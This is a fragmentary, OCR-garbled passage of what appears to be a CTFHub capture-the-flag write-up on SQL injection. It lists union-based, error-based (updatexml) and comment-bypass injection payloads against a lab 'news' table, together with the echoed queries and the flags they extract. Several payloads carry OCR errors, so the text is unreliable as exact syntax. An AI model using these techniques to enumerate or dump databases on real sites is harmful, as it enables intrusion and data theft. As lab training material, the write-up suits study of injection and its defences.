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select * from news where id=1 and 1=1
ID: 1
Data: ctfhub
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select * from news where id=1 and 1=2
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select * from news where id=1
ID:1
Data: ctfhub
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-1 union select 3,database()
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select * from news where id=-1 union select 3,database()
ID: 3
Data: sqli
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-1 union select 3,group_concat(schema_name) from information_schema.schemata

SQL BEHELEN
D BB

select * from news where id=-1 union select 3,group concat(schema name) from information_ schema.schemata
1D: 3

Data: information_schema,mysql,performance_schema,sqli | B
CSDN @8 —E Sk

T

-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sq|i"
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select * from news where id=-1 union select 3,group concat(table name) from information_schema.tables where table schema="sqli"
ID: 3
Data: flag,news
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-1 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"
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select * from news where id=-1 union select 3,group_concat(flag) from sqli.flag
ID: 3
Data: ctfhub{80ab2be1e09e1ee5c0b5a09e}
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-1' union select 1,2#
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select * from news where id="-1' union select 1,2#'
ID: 1
Data: 2
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-1" union select 1,database()#
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select * from news where id="-1" union select 1,database()#’
ID: 1
Data: sqli CSON @EBE—TE
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select * from news where id='1" union select flag,1 from flag limit 1,2;#"
ID: ctfhub{da68e5f859e2da7a1689ffh6}
Data: 1
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select * from news where id=1 order by 3#
EHH5Ei=: Unknown column ‘3" in 'order clause’
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select * from news where id=1 and left(database(),1)="s"'#
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1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#
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select * from news where id=1 and updatexml(1,concat(@x7e,(select schema name from information schema.schemata limit ©,1)),1)#
EAAIR: XPATH syntax error: '~information_schema'
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1 and updatexmi(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='"sqli'
limit 0,1)),1)#
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select * from news where id=1 and updatexml(1,concat(@x7e,(select table_name from information_schema.tables where table_schema="sqli’
limit @,1)),1)#
EfAfRIR: XPATH syntax error: '~flag’
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1 and updatexml(1,concat(0x7e,(select flag from flag)),1)#
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select * from news where id=1 and updatexml(1,concat(ex7e,(select flag from flag)),1)#
EEEEIR: XPATH syntax error: '~ctfhub{956b44497{8978eeeaed4c0d’
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ID: news,wnfkkkotop
Data: 2
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ID | inion/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name= ‘wm‘kkkotop‘ Search

ID: 1
Data: news,wnfkkkotop
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ID: 1
Data: leokjmotzo
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ID  -1/**/union/**/select/**/1,group_concat(leokjmotzo)/**/from/**/wnfkkkotop

ID: 1
Data: leokjmotzo
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